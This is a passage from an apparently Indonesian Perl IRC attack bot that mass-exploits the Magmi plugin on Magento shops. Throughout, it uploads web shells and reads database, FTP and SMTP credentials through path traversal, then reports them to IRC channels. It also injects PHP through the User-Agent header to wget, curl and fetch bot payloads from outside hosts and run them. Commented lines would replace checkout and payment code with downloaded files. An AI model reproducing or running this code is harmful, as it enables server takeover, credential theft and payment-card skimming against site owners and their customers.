=> ["$update_file"]]); my $status = $exploit->as_string; my $check = &get_content("http://".$site."magmi/plugins/racrew.php"); #my $botf = &get_content("http://".$site."magmi/plugins/editor10/up.php?cmd=cd%20/tmp%20;wget%20http://picasa.com.paisajeestereo.com/bot.log%20;%20perl%20bot.log%20;wget%20http://picasa.com.paisajeestereo.com/bot.log%20;%20perl%20bot.log%20;%20rm%20-rf%20bot.log*"); #my $botf1 = &get_content("http://".$site."magmi/plugins/editor10/up.php?cmd=cd%20..;cd%20..;cd%20..;cd%20app/code/core/Mage/Checkout/Model/Type/;rm%20-rf%20Onepage.php;wget%20http://cetnav.com/css/error.txt;mv%20error.txt%20Onepage.php;clear"); #my $nanang = &get_content("http://".$site."magmi/plugins/editor10/up.php?cmd=cd%20..;cd%20..;cd%20..;cd%20app/code/core/Mage/Payment/Model/Method/;rm%20-rf%20Cc.php;wget%20http://www.backgammon-online-spielen.com//wp-includes/js/tinymce/plugins/lists/cc.txt%20;mv%20cc.txt%20Cc.php;clear"); if ($check =~ /GIF89a/) { my $safe = ""; my $os = ""; my $uid=""; if ($check =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;} if ($check =~ /Uname : (.*?)<\/b>/){$os=$1;} if ($check =~ /uid=(.*?)gid=/){$uid=$1;} &msg("$chan","$mglogo 13$nick dapat pahala shell Selamatt Yaaa... ^_^ 4<9=".$os."4>"); &msg("$chanxxx","$mglogo(4@3$engine15)15(4@13SHeLL115) 4 Backdoored !15 (SafeMode=$safe) (OS=$os) uid=$uid ");sleep(2); &msg("$admin","$mglogo(4@3$engine15)15(4@13SHeLL115)4 http://".$site."magmi/plugins/racrew.php 9(4@15anaL!9) ");sleep(2); &msg("$chan2","$mglogo(4@3$engine15)15(4@13SHeLL115)4 http://".$site."magmi/plugins/racrew.php 15 (SafeMode=$safe) (OS=$os) uid=$uid ");sleep(2); &msg("$chan","$mglogo 7Mencoba membuat bot php... ");sleep(2); } } sub magmi2_xpl() { my $ua = LWP::UserAgent->new; $ua->timeout(10); my $url = $_[0]; my $chan = $_[1]; my $site = $_[2]; my $engine = $_[3]; my $nick = $_[5]; my $action = "http://".$site."magmi/web/plugin_upload.php"; my $update_file = "racrew_plugins.zip"; my $exploit = $ua->post("$url", Content_Type => "multipart/form-data", Content => [action => "$action", plugin_package => ["$update_file"]]); my $status = $exploit->as_string; my $check = &get_content("http://".$site."magmi/plugins/racrew.php"); #my $botf = &get_content("http://".$site."magmi/plugins/editor10/up.php?cmd=cd%20/tmp%20;wget%20http://picasa.com.paisajeestereo.com/bot.log%20;%20perl%20bot.log%20;wget%20http://picasa.com.paisajeestereo.com/bot.log%20;%20perl%20bot.log%20;%20rm%20-rf%20bot.log*"); #my $botf1 = &get_content("http://".$site."magmi/plugins/editor10/up.php?cmd=cd%20..;cd%20..;cd%20..;cd%20app/code/core/Mage/Checkout/Model/Type/;rm%20-rf%20Onepage.php;wget%20http://cetnav.com/css/error.txt;mv%20byz.txt%20Onepage.php;curl%20http://www.akmzdrav.kz/bolashak/log.txt%20-O%20Onepage.php*"); if ($check =~ /GIF89/) { my $safe = ""; my $os = ""; my $uid=""; if ($check =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;} if ($check =~ /Uname : (.*?)<\/b>/){$os=$1;} if ($check =~ /uid=(.*?)gid=/){$uid=$1;} &msg("$chan","$mglogo 13$nick dapat pahala shell Selamatt Yaaa... ^_^ 4<9=".$os."4>"); &msg("$chanxxx","$mglogo(4@3$engine15)15(4@13SHeLL115) 4 Backdoored !15 (SafeMode=$safe) (OS=$os) uid=$uid ");sleep(2); &msg("$admin","$mglogo(4@3$engine15)15(4@13SHeLL115)4 http://".$site."magmi/plugins/racrew.php 9(4@15anaL!9) ");sleep(2); &msg("$chan2","$mglogo(4@3$engine15)15(4@13SHeLL115)4 http://".$site."magmi/plugins/racrew.php 15 (SafeMode=$safe) (OS=$os) uid=$uid ");sleep(2); &msg("$chan","$mglogo 7Mencoba membuat bot php... ");sleep(2); } } sub magmi3_xpl() { my $ua = LWP::UserAgent->new; $ua->timeout(10); my $url = $_[0]; my $chan = $_[1]; my $site = $_[2]; my $engine = $_[3]; my $nick = $_[5]; my $action = "http://".$site."magmi/web/magmi.php"; my $update_file = "racrew_plugins.zip"; my $exploit = $ua->post("$url", Content_Type => "multipart/form-data", Content => [action => "$action", plugin_package => ["$update_file"]]); my $status = $exploit->as_string; my $check = &get_content("http://".$site."magmi/plugins/racrew.php"); #my $botf = &get_content("http://".$site."magmi/plugins/editor10/up.php?cmd=cd%20/tmp%20;wget%20http://picasa.com.paisajeestereo.com/bot.log%20;%20perl%20bot.log%20;wget%20http://picasa.com.paisajeestereo.com/bot.log%20;%20perl%20bot.log%20;%20rm%20-rf%20bot.log*"); #my $botf1 = &get_content("http://".$site."magmi/plugins/editor10/up.php?cmd=cd%20..;cd%20..;cd%20..;cd%20app/code/core/Mage/Customer/controllers/;rm%20-rf%20AccountController.php;wget%20cetnav.com/css/byz1.txt;mv%20byz1.txt%20AccountController.php;l*"); if ($check =~ /GIF89/) { my $safe = ""; my $os = ""; my $uid=""; if ($check =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;} if ($check =~ /Uname : (.*?)<\/b>/){$os=$1;} if ($check =~ /uid=(.*?)gid=/){$uid=$1;} &msg("$chan","$mglogo 13$nick dapat pahala shell Selamatt Yaaa... ^_^ 4<9=".$os."4>"); &msg("$chanxxx","$mglogo(4@3$engine15)15(4@13SHeLL115)4 Backdoored !15 (SafeMode=$safe) (OS=$os) uid=$uid ");sleep(2); &msg("$admin","$mglogo(4@3$engine15)15(4@13SHeLL115)4 http://".$site."magmi/plugins/racrew.php 9(4@15anaL!9) ");sleep(2); &msg("$chan2","$mglogo(4@3$engine15)15(4@13SHeLL115)4 http://".$site."magmi/plugins/racrew.php 15 (SafeMode=$safe) (OS=$os) uid=$uid ");sleep(2); &msg("$chan","$mglogo 7Mencoba membuat bot php... ");sleep(2); } } sub magmi4_xpl() { my $ua = LWP::UserAgent->new; $ua->timeout(10); my $url = $_[0]; my $chan = $_[1]; my $site = $_[2]; my $engine = $_[3]; my $nick = $_[5]; my $action = "http://".$site."magmi/web/plugin_upload.php"; my $update_file = "racrew_plugins.zip"; my $exploit = $ua->post("$url", Content_Type => "multipart/form-data", Content => [action => "$action", plugin_package => ["$update_file"]]); my $status = $exploit->as_string; my $check = &get_content("http://".$site."magmi/plugins/racrew.php"); #my $botf = &get_content("http://".$site."magmi/plugins/editor10/up.php?cmd=cd%20/tmp%20;wget%20http://picasa.com.paisajeestereo.com/bot.log%20;%20perl%20bot.log%20;wget%20http://picasa.com.paisajeestereo.com/bot.log%20;%20perl%20bot.log%20;%20rm%20-rf%20bot.log*"); #my $botf1 = &get_content("http://".$site."magmi/plugins/editor10/up.php?cmd=cd%20..;cd%20..;cd%20..;cd%20app/code/core/Mage/Customer/controllers/;rm%20-rf%20AccountController.php;wget%20cetnav.com/byz1.txt;mv%20byz1.txt%20AccountController.php;l*"); if ($check =~ /GIF89a/) { my $safe = ""; my $os = ""; my $safe = ""; my $os = ""; my $uid=""; if ($check =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;} if ($check =~ /Uname : (.*?)<\/b>/){$os=$1;} if ($check =~ /uid=(.*?)gid=/){$uid=$1;} &msg("$chan","$mglogo 13$nick dapat pahala shell Selamatt Yaaa... ^_^ 4<9=".$os."4>"); &msg("$chanxxx","$mglogo(4@3$engine15)15(4@13SHeLL115)4 Backdoored !15 (SafeMode=$safe) (OS=$os) uid=$uid ");sleep(2); &msg("$admin","$mglogo(4@3$engine15)15(4@13SHeLL115)4 http://".$site."magmi/plugins/editor10/up.php 9(4@anaL!19) ");sleep(2); &msg("$chan2","$mglogo(4@3$engine15)15(4@13SHeLL115)4 http://".$site."magmi/plugins/editor10/up.php 15 (SafeMode=$safe) (OS=$os) uid=$uid ");sleep(2); &msg("$chan","$mglogo 7Mencoba membuat bot php... ");sleep(2); } } sub magmi5_xpl() { my $ua = LWP::UserAgent->new; $ua->timeout(10); my $url = $_[0]; my $chan = $_[1]; my $site = $_[2]; my $engine = $_[3]; my $action = "http://".$site."/magmi/web/download_file.php?file=../../app/etc/local.xml"; my $ua = LWP::UserAgent->new; my $req = HTTP::Request->new(GET => $action); my $html = $ua->request($req)->content; #my $html = &get_content($action); if ($html =~ /dbname/i) { my $serverIP =""; if ($html =~ /<host><!\[\CDATA\[(.*)\]\]\><\/host>/) {$serverIP=$1;} if ($html =~ /<username><!\[CDATA\[(.*)\]\]\><\/username>/){$user=$1;} if ($html =~ /<password><!\[CDATA\[(.*)\]\]\><\/password>/){$pass=$1;} if ($html =~ /<dbname><!\[CDATA\[(.*)\]\]\><\/dbname>/){$dbname=$1;} if ($html =~ /<frontName><!\[CDATA\[(.*)\]\]\><\/frontName>/){$logadmin=$1;} if ($html =~ /<key><!\[CDATA\[(.*)\]\]\><\/key>/){$key=$1;} &msg("$chanxxx","$mglogo 4http://".$site." 9[+]hostname: 4".$serverIP."9 [+]username: 4".$user." 9[+]password: 4".$pass." 9[+]dbname: 4".$dbname." 9[+]Login : 4".$logadmin." 9[+]key : 4".$key."9");sleep(2); &msg("$chan","$mglogo 4http://".$site." 9[+]hostname: 4".$serverIP."9 [+]username: 4".$user." 9[+]password: 4".$pass." 9[+]dbname: 4".$dbname." 9[+]Login : 4".$logadmin." 9[+]key : 4".$key." 9");sleep(2); my $asu = "http://".$site."/phpmyadmin"; my $jembuts = &get_content($asu); if ($jembuts =~ /<title>phpMyAdmin/){ &msg("$admin","Phpmyadmin : $mglogo 9http://".$site." 9[+]hostname: 9".$serverIP."9 [+]username: 9".$user." 9[+]password: 9".$pass." 9[+]dbname: 9".$dbname." Login : ".$logadmin."");sleep(2); } if ($user =~ /_/) {@users = split("_", $user); $usr = $users[0];} my $ceklog = "ftp://".$usr.":".$pass."@".$site.""; my $ceklog2 = "ftp://".$user.":".$pass."@".$site.""; my $ftplog = &get_content($ceklog); my $ftplog2 = &get_content($ceklog2); if ($ftplog =~ /ftp/) { &msg("$admin","12[+]$mglogo4$engine 12FTP[+] 14ftp://".$site." [+]username:".$usr." [+]password:".$pass."");sleep(2); #&msg("$chanxxx","12[+]$mglogo 4$engine 12FTP[+]Success send To Admin"); } if ($ftplog2 =~ /ftp/) { &msg("$admin","12[+]$mglogo4$engine 12FTP[+] 14ftp://".$site." [+]username:".$user." [+]password:".$pass."");sleep(2); #&msg("$chanxxx","12[+]$mg2logo4$engine 12FTP[+]Success send To Admin"); } my $hosts = "http://".$site; if($hosts =~ /([^:]*:\/\/)?([^\/]+\.[^\/]+)/g) { $host = $2; &dbi_connect($site,$host,$user,$pass,$dbname,$chanxxx,$engine,$mglogo);sleep(2); &ftp_connect($site,$host,$user,$pass,$chanxxx,$engine,$mglogo);sleep(2); #&cp_connect($site,$host,$user,$pass,$chanxxx,$engine,$mglogo);sleep(2); #&ssh_connect($site,$host,$user,$pass,$chanxxx,$engine,$mglogo);sleep(2); #&ssh_connect2($site,$host,$user,$pass,$chanxxx,$engine,$mglogo);sleep(2); if ($user =~ /_/) { @users = split("_",$user); $user = $users[0]; &ftp_connect($site,$host,$user,$pass,$chanxxx,$engine,$mglogo); sleep(2); &dbi_connect($site,$host,$user,$pass,$dbname,$chanxxx,$engine,$mglogo);sleep(2); #&cp_connect($site,$host,$user,$pass,$chanxxx,$engine,$mglogo);sleep(2); #&ssh_connect($site,$host,$user,$pass,$chanxxx,$engine,$mglogo);sleep(2); #&ssh_connect2($site,$host,$user,$pass,$chanxxx,$engine,$mglogo);sleep(2); } } } } sub magmi6_xpl() { my $ua = LWP::UserAgent->new; $ua->timeout(10); my $url = $_[0]; my $chan = $_[1]; my $site = $_[2]; my $engine = $_[3]; my $bug ='/magmi/web/ajax_pluginconf.php?plugintype=utilities&pluginclass=CustomSQLUtility&file='; my @dirc = ("../../../../../../../../../../../../../../../../../../../../", "../../../../../../../../../../../../../../../../../../../", "../../../../../../../../../../../../../../../../../../", "../../../../../../../../../../../../../../../../../", "../../../../../../../../../../../../../../../../", "../../../../../../../../../../../../../../../", "../../../../../../../../../../../../../../", "../../../../../../../../../../../../../../", "../../../../../../../../../../../../../", "../../../../../../../../../../../../", "../../../../../../../../../../../", "../../../../../../../../../../", "../../../../../../../../../", "../../../../../../../../", "../../../../../../../", "../../../../../../", "../../../../../", "../../../../", "../../../", "../../", "../"); my $dir = $dirc[rand(scalar(@dirc))]; my $test = "http://".$site.$bug.$dir."/proc/self/environ"; my $vuln = "http://".$site.$bug.$dir."/etc/passwd"; my $shell = "http://".$site.$bug.$dir."/tmp/koboy"; my $shell2 = "http://".$site.$bug.$dir."/tmp/anal"; my $html = &get_content($test); if ($html =~ /DOCUMENT_ROOT=\// && $html =~ /HTTP_USER_AGENT/) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my $code = 'echo "c0li#".php_uname()."#c0li".get_current_user();if(@copy("'.$gento.'","/tmp/koboy")){ echo "SUCCESS";@copy("'.$gento2.'","/tmp/dev");@copy("'.$gento.'","/tmp/anal"); }'; my $res = lfi_env_query($test,encode_base64($code)); &lfi_spread_query($test); &get_content("http://".$site.$bug.$dir."/tmp/dev"); &get_content("http://".$site.$bug.$dir."/tmp/anal"); $res =~ s/\n//g; if ($res =~ /c0li#(.*)#c0li(.*)SUCCESS/sg) { my $sys = $1; $nob0dy = $2; &msg("$chan","$mglogo 13 Selamatt Yaaa... ^_^ 4<9=".$sys."4>"); &msg("$chan2","$mglogo(4@3$engine4)15(4@9SHeLL4)13 ".$shell." or ".$shell2." 15(4@3".$sys."15)15(4@9anaL! shell uploaded15)");sleep(2); &msg("$admin","$mglogo(4@3$engine4)15(4@9SHeLL4)13 ".$shell." or ".$shell2." 15(4@3".$sys."15)15(4@9anaL! shell uploaded15)");sleep(2); } elsif ($res =~ /c0li#(.*)#c0li(.*)/sg) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my $sys = $1; $nob0dy = $2; my $upload = 'system("killall -9 perl;killall -9 php;http://picasa.com.paisajeestereo.com/bot.log;fetch http://picasa.com.paisajeestereo.com/bot.log;perl bot.log; perl bot.log.1;wget http://picasa.com.paisajeestereo.com/shellx.php;fetch http://cetnav.com/css/b.txt;mv b.txt cok.php;mv shellx.php jancok.php;wget '.$gento.' -O cok.php;fetch '.$gento.';mv shellx.php toolsb0x.php;");passthru("killall -9 perl;killall -9 php;wget '.$gento.' -O images.php;fetch '.$gento.';mv b.txt images2.php;");'; my $wget = lfi_env_query($test,encode_base64($upload)); sleep(2); my $check = &get_content("http://".$site.$bug.$dir."/tmp/koboy"); sleep(2); &get_content("http://".$site.$bug.$dir."/tmp/dev");sleep(2); &get_content("http://".$site.$bug.$dir."/tmp/anal");sleep(2); if ($check =~ /GIF89a/i) { &msg("$chan","$mglogo13$nick Selamatt Yaaa... ^_^ 4<9=".$sys."4>"); &msg("$chan2","$mglogo(4@3$engine4)15(4@9SHeLL4)13 ".$shell." or ".$shell2." 15(4@3".$sys."15)15(4@9anaL! shell uploaded15)");sleep(2); &msg("$admin","$mglogo(4@3$engine4)15(4@9SHeLL4)13 ".$shell." or ".$shell2."15(4@3".$sys."15)15(4@9anaL! shell uploaded15)");sleep(2); &msg("$chan","$mglogo 7Mencoba membuat bot php... ");sleep(2); } else { &msg("$chan","$mglogo(4@3$engine4)15(4@9SysTem4)7 ".$vuln." 15(4@3".$sys."15))15(4@9anaL! shell uploaded15)");sleep(2); } } exit; } } else { &msg("$chan","$mglogo(4@3$engine4)4(4@9EnviRon4)6 ".$vuln." 3 ".$sys); } } exit; } sleep(2); } } sub lfi_env_query() { my $url = $_[0]; my $code = $_[1]; my $ua = LWP::UserAgent->new(agent => "<?eval(base64_decode('".$code."'));?>"); $ua->timeout(7); my $req = HTTP::Request->new(GET => $url); my $res = $ua->request($req); return $res->content; } sub lfi_spread_query() { my $url = $_[0]; my $code = "system('cd /tmp;rm -rf dor.* *.jpg.*;fetch ".$spread.";php spread.txt;rm -rf melan.jpg;wget ".$botxx.";perl bot.log;rm -rf melan.jpg; curl ".$botxx." -O load.txt;perl load.txt;wget http://cetnav.com/css/mg.txt;perl mg.txt;lwp-download ".$jem.";perl lula.txt;rm-rf lula.txt;fetch ".$botshell2.";php ec.txt;rm -rf ec.txt;wget ".$botshell2.";php ec.txt;rm -rf ec.txt;curl -O ".$botshell2.";php ec.txt;rm -rf ec.txt;lwp-download ".$botshell2.";php ec.txt;cd /var/tmp;fetch ".$botshell.";php melan.jpg;rm -rf melan.jpg;wget ".$botshell.";php melan.jpg;rm -rf melan.jpg;curl -O ".$botshell.";php melan.jpg;rm -rf melan.jpg;lwp-download ".$botshell.";php melan.jpg;fetch ".$botshell2.";php ec.txt;rm -rf ec.txt;wget ".$botshell2.";php ec.txt;rm -rf ec.txt;curl -O ".$botshell2.";php ec.txt;rm -rf ec.txt;lwp-download ".$botshell2.";php ec.txt;rm -rf *.txt*;');"; my $ua = LWP::UserAgent->new(agent => "<?eval(base64_decode('".encode_base64($code)."'));?>"); $ua->timeout(7); my $req = HTTP::Request->new(GET => $url); my $res = $ua->request($req); } sub magmi_sql() { my $url = $_[0]; my $chan = $_[1]; my $site = $_[2]; my $engine = $_[3]; my $nick = $_[5]; my $html = &get_content($url); if ($html =~ /DB Name:<\/li>/i) { my $serverIP =""; if ($html =~ /host" value="(.*)" ><\/input>/) {$serverIP=$1;} if ($html =~ /user" value="(.*)" ><\/input>/){$user=$1;} if ($html =~ /password" value="(.*)" ><\/input>/){$pass=$1;} if ($html =~ /dbname" value="(.*)" ><\/input>/){$dbname=$1;} if ($user =~ /_/) {@users = split("_", $user); $usr = $users[0];} my $ceklog = "ftp://".$usr.":".$pass."@".$site.""; my $ceklog2 = "ftp://".$user.":".$pass."@".$site.""; my $ftplog = &get_content($ceklog); my $ftplog2 = &get_content($ceklog2); if ($ftplog =~ /ftp/) { &msg("$chan","$mglogo 13$nick dapat colokan FtP Selamatt Yaaa... ^_^ 4<9=".$os."4>"); #&msg("$chanxxx","12[+]$mglogo4$engine 12FTP[+] 14ftp://".$site." [+]username:".$usr." [+]password:".$pass.""); &msg("$admin","12[+]$mglogo4$engine 12FTP[+] 14ftp://".$site." [+]username:".$usr." [+]password:".$pass.""); } if ($ftplog2 =~ /ftp/) { &msg("$chan","$mglogo 13$nick dapat colokan FtP Selamatt Yaaa... ^_^ 4<9=".$os."4>"); #&msg("$chanxxx","12[+]$mglogo4$engine 12FTP[+] 14ftp://".$site." [+]username:".$user." [+]password:".$pass.""); &msg("$admin","12[+]$mglogo4$engine 12FTP[+] 14ftp://".$site." [+]username:".$usr." [+]password:".$pass.""); } my $hosts = "http://".$site; if($hosts =~ /([^:]*:\/\/)?([^\/]+\.[^\/]+)/g) { $host = $2; &dbi_connect($site,$host,$user,$pass,$dbname,$chanxxx,$engine,$mglogo);sleep(2); &ftp_connect($site,$host,$user,$pass,$chanxxx,$engine,$mglogo);sleep(2); #&cp_connect($site,$host,$user,$pass,$chanxxx,$engine,$mglogo);sleep(2); # &ssh_connect($site,$host,$user,$pass,$chanxxx,$engine,$mglogo);sleep(2); #&ssh_connect2($site,$host,$user,$pass,$chanxxx,$engine,$mglogo);sleep(2); if ($user =~ /_/) { @users = split("_",$user); $user = $users[0]; &ftp_connect($site,$host,$user,$pass,$chanxxx,$engine,$mglogo); sleep(2); &dbi_connect($site,$host,$user,$pass,$dbname,$chanxxx,$engine,$mglogo);sleep(2); #&cp_connect($site,$host,$user,$pass,$chanxxx,$engine,$mglogo);sleep(2); #&ssh_connect($site,$host,$user,$pass,$chanxxx,$engine,$mglogo);sleep(2); #&ssh_connect2($site,$host,$user,$pass,$chanxxx,$engine,$mglogo);sleep(2); } } } } sub magmi7_xpl() { my $ua = LWP::UserAgent->new; $ua->timeout(10); my $url = $_[0]; my $chan = $_[1]; my $site = $_[2]; my $engine = $_[3]; my $nick = $_[4]; my $action = "http://".$site."/magmi/web/download_file.php?file=../../../.my.cnf"; my $ua = LWP::UserAgent->new; my $req = HTTP::Request->new(GET => $action); my $html = $ua->request($req)->content; if ($html =~ /user/i) { if ($html =~ m/user=(.*?)/g){$user=$1;} if ($html =~ m/password=(.*?)/g){$pass=$1;} &msg("$chan","$mglogo 13 Sedang mengecek cPanel... ^_^ "); &msg("$admin","$mglogo 13 $action "); if ($user =~ /_/) {@users = split("_", $user); $usr = $users[0];} my $ceklog = "ftp://".$usr.":".$pass."@".$site.""; my $ceklog2 = "ftp://".$user.":".$pass."@".$site.""; my $ftplog = &get_content($ceklog); my $ftplog2 = &get_content($ceklog2); if ($ftplog =~ /ftp/) { &msg("$chan","$mglogo 13$nick dapat Cpanel / FtP dari celah *.jancok file, Selamatt Yaaa... ^_^ 4<9=".$os."4>"); #&msg("$chan2","12[+]$mglogo4$engine 12Cpanel / FTP[+] 14ftp://".$site." [+]username:".$usr." [+]password:".$pass.""); &msg("$admin","12[+]$mglogo4$engine 12Cpanel / FTP[+] 14ftp://".$site." [+]username:".$usr." [+]password:".$pass.""); &msg("$nick","12[+]$mglogo4$engine 12Cpanel / FTP[+] 14ftp://".$site." [+]username:".$usr." [+]password:".$pass.""); } if ($ftplog2 =~ /ftp/) { &msg("$chan","$mglogo 13$nick dapat Cpanel / FtP dari celah *.jancok file, Selamatt Yaaa... ^_^ 4<9=".$os."4>"); #&msg("$chan2","12[+]$mglogo4$engine 12Cpanel / FTP[+] 14ftp://".$site." [+]username:".$user." [+]password:".$pass.""); &msg("$admin","12[+]$mglogo4$engine 12Cpanel / FTP[+] 14ftp://".$site." [+]username:".$user." [+]password:".$pass.""); &msg("$nick","12[+]$mglogo4$engine 12Cpanel / FTP[+] 14ftp://".$site." [+]username:".$user." [+]password:".$pass.""); } my $hosts = "http://".$site; if($hosts =~ /([^:]*:\/\/)?([^\/]+\.[^\/]+)/g) { $host = $2; &dbi_connect($site,$host,$user,$pass,$dbname,$chanxxx,$engine,$mglogo); &ftp_connect($site,$host,$user,$pass,$chanxxx,$engine,$mglogo);sleep(2); #&cp_connect($site,$host,$user,$pass,$chanxxx,$engine,$mglogo);sleep(2); #&ssh_connect($site,$host,$user,$pass,$chanxxx,$engine,$mglogo);sleep(2); #&ssh_connect2($site,$host,$user,$pass,$chanxxx,$engine,$mglogo);sleep(2); if ($user =~ /_/) { @users = split("_",$user); $user = $users[0]; &ftp_connect($site,$host,$user,$pass,$chanxxx,$engine,$mglogo); sleep(2); &dbi_connect($site,$host,$user,$pass,$dbname,$chanxxx,$engine,$mglogo);sleep(2); #&cp_connect($site,$host,$user,$pass,$chanxxx,$engine,$mglogo);sleep(2); #&ssh_connect($site,$host,$user,$pass,$chanxxx,$engine,$mglogo);sleep(2); #&ssh_connect2($site,$host,$user,$pass,$chanxxx,$engine,$mglogo);sleep(2); } } } } sub magmi8_xpl() { my $ua = LWP::UserAgent->new; $ua->timeout(10); my $url = $_[0]; my $chan = $_[1]; my $site = $_[2]; my $engine = $_[3]; my $count = 0; my $action = "http://".$site."/magmi/web/download_file.php?file=../../downloader/connect.cfg"; my $ua = LWP::UserAgent->new; my $req = HTTP::Request->new(GET => $action); my $html = $ua->request($req)->content; #my $html = &get_content($action); if ($html =~ /ftp/i) { my $serverIP =""; if ($html =~ /"ftp:\/\/(.*)"/){$ftp=$1;} &msg("$chan","$mglogo 13 dapat FtP dari pintu LFD, Selamatt Yaaa... ^_^ 4<9=".$os."4>"); #&msg("$chanxxx","FTP $mglogo 9http://".$site." [+] Log FTP: 9 Checking");sleep(2); &msg("$admin","FTP $mglogo 9http://".$site." [+] Log FTP: 9".$ftp."");sleep(2); } } sub magmiin_xpl() { my $ua = LWP::UserAgent->new; $ua->timeout(10); my $url = $_[0]; my $chan = $_[1]; my $site = $_[2]; my $engine = $_[3]; my $action = "http://".$site."/magmi/conf/magmi.ini"; my $cok =&get_content($action); if ($cok =~ /connectivity/i){ &msg("$chan","$mglogo Checking *.jancok file di kolor $site ..."); if ($cok =~ m/host = "(.*)"/g){$host = $1;} if ($cok =~ m/user = "(.*)"/g){ $user = $1;} if ($cok =~ m/dbname = "(.*?)"/g){$dbname = $1;} if ($cok =~ m/password = "(.*)"/g){$pass = $1;} if($user){ &msg("$chanxxx","$mglogo dari jancok file 4http://".$site." 9[+]hostname: 4".$host."9 [+]username: 4".$user." 9[+]password: 4".$pass." 9[+]dbname: 4".$dbname."");sleep(2); &msg("$chan","$mglogo dari jancok file 4http://".$site." 9[+]hostname: 4".$host."9 [+]username: 4".$user." 9[+]password: 4".$pass." 9[+]dbname: 4".$dbname."");sleep(2); if ($user =~ /_/) {@users = split("_", $user); $usr = $users[0];} my $ceklog = "ftp://".$usr.":".$pass."@".$site.""; my $ceklog2 = "ftp://".$user.":".$pass."@".$site.""; my $ftplog = &get_content($ceklog); my $ftplog2 = &get_content($ceklog2); if ($ftplog =~ /ftp/) { &msg("$chan","$mglogo 13$nick dapat colokan FtP dari celah *.ini file, Selamatt Yaaa... ^_^ 4<9=".$os."4>"); #&msg("$chan2","12[+]$mglogo4$engine 12FTP[+] 14ftp://".$site." [+]username:".$usr." [+]password:".$pass.""); &msg("$admin","12[+]$mglogo4$engine 12FTP[+] 14ftp://".$site." [+]username:".$usr." [+]password:".$pass.""); } if ($ftplog2 =~ /ftp/) { &msg("$chan","$mglogo 13$nick dapat colokan FtP dari celah *.ini file, Selamatt Yaaa... ^_^ 4<9=".$os."4>"); #&msg("$chan2","12[+]$mglogo4$engine 12FTP[+] 14ftp://".$site." [+]username:".$user." [+]password:".$pass.""); &msg("$admin","12[+]$mglogo4$engine 12FTP[+] 14ftp://".$site." [+]username:".$user." [+]password:".$pass.""); } my $hosts = "http://".$site; if($hosts =~ /([^:]*:\/\/)?([^\/]+\.[^\/]+)/g) { $host = $2; &dbi_connect($site,$host,$user,$pass,$dbname,$chanxxx,$engine,$mglogo); &ftp_connect($site,$host,$user,$pass,$chanxxx,$engine,$mglogo);sleep(2); #&cp_connect($site,$host,$user,$pass,$chanxxx,$engine,$mglogo);sleep(2); #&ssh_connect($site,$host,$user,$pass,$chanxxx,$engine,$mglogo);sleep(2); #&ssh_connect2($site,$host,$user,$pass,$chanxxx,$engine,$mglogo);sleep(2); if ($user =~ /_/) { @users = split("_",$user); $user = $users[0]; &ftp_connect($site,$host,$user,$pass,$chanxxx,$engine,$mglogo); sleep(2); &dbi_connect($site,$host,$user,$pass,$dbname,$chanxxx,$engine,$mglogo); sleep(2); #&cp_connect($site,$host,$user,$pass,$chanxxx,$engine,$mglogo);sleep(2); #&ssh_connect($site,$host,$user,$pass,$chanxxx,$engine,$mglogo);sleep(2); #&ssh_connect2($site,$host,$user,$pass,$chanxxx,$engine,$mglogo);sleep(2); } } } }else{} } sub carismtp() { my $url = $_[0]; my $chan = $_[1]; my $site = $_[2]; my $engine = $_[3]; my $logo = $_[4]; my $data = &get_content($url); my $psite = "http://".$site; if ($psite =~ /([^:]*:\/\/)?([^\/]+\.[^\/]+)/g) { $host = $2; } if ($data =~ m/smtphost/g && $data =~ m/smtppass/g || $data =~ m/ftp_host/g ) { my $smtphost=""; my $smtpport=""; my $smtpuser=""; my $smtppass=""; if ($data =~ m/smtphost = '(.*)';/g) { $smtphost = $1; } if ($data =~ m/smtpport = '(.*)';/g) { $smtpport = $1; } if ($data =~ m/smtpuser = '(.*)';/g) { $smtpuser = $1; } if ($data =~ m/smtppass = '(.*)';/g) { $smtppass = $1; } if ($data =~ m/ftp_host = '(.*)';/g) { $ftp_host = $1; } if ($data =~ m/ftp_port = '(.*)';/g) { $ftp_port = $1; } if ($data =~ m/ftp_user = '(.*)';/g) { $ftp_user = $1; } if ($data =~ m/ftp_pass = '(.*)';/g) { $ftp_pass = $1; } &msg("$chan","$jcelogo(4$engine14) (4SMTP14:4$smtpuser14) (4FTP14:4$ftp_user)"); &msg("$admin","$jcelogo(4$engine14)4 SMTP: $site -14 $smtphost:$smtpport $smtpuser:$smtppass |4 ftp://$site -14 $ftp_host:$ftp_port $ftp_user:$ftp_pass "); sleep(5); &ftp_connect("http://target.com",$host,$ftp_user,$ftp_pass,$chan,$engine); sleep(2); } } sub osss() { my $target=$_[0]; my $re = &query($target); while ($re =~ m/<br>OSTYPE:(.+?)\<br>/g) { $os = $1; } } sub os() { my $url = $_[0]; my $chan = $_[1]; my $engine = $_[2]; my $logo = $_[3]; my $nick = $_[4]; my @print; my $target = &get_content($url); if ($target =~ /GIF89a/i) { my $safe = ""; my $os = ""; if ($target =~ m/SAFE_MODE : (.*?)<\/b>/) {$safe = $1;} if ($target =~ m/Uname : (.*?)<\/b>/){$os=$1;} &msg("$chan","$logo4target sent to 12$nick 14$safe $os"); &msg("$nick","$logo4$engine 12sHeLL4 ".$url." 14$safe $os"); &msg("$inject","$logo4$engine 12sHeLL4 ".$url." 14$safe $os"); &msg("$admin","$logo4$engine 12sHeLL4 ".$url." 14$safe $os"); } return @print; } sub os2() { my $url = $_[0]; my $chan = $_[1]; my $engine = $_[2]; my $logo = $_[3]; my $nick = $_[4]; my @print; my $target = &get_content($url); if ($target =~ /GIF89a/i) { my $safe = ""; my $os = ""; if ($target =~ m/SAFE_MODE : (.*?)<\/b>/) {$safe = $1;} if ($target =~ m/Uname : (.*?)<\/b>/){$os=$1;} &msg("$chan","$logo4target sent to 12$nick 14$safe $os"); &msg("$nick","$logo4$engine 12sHeLL4 ".$url." 14$safe $os"); &msg("$inject","$logo4$engine 12sHeLL4 ".$url." 14$safe $os"); &msg("$admin","$logo4$engine 12sHeLL4 ".$url." 14$safe $os"); &msg("$chanxxx","$logo4$engine 12sHeLL4 ".$url." 14$safe $os"); } return @print; } sub os3() { my $url = $_[0]; my $chan = $_[1]; my 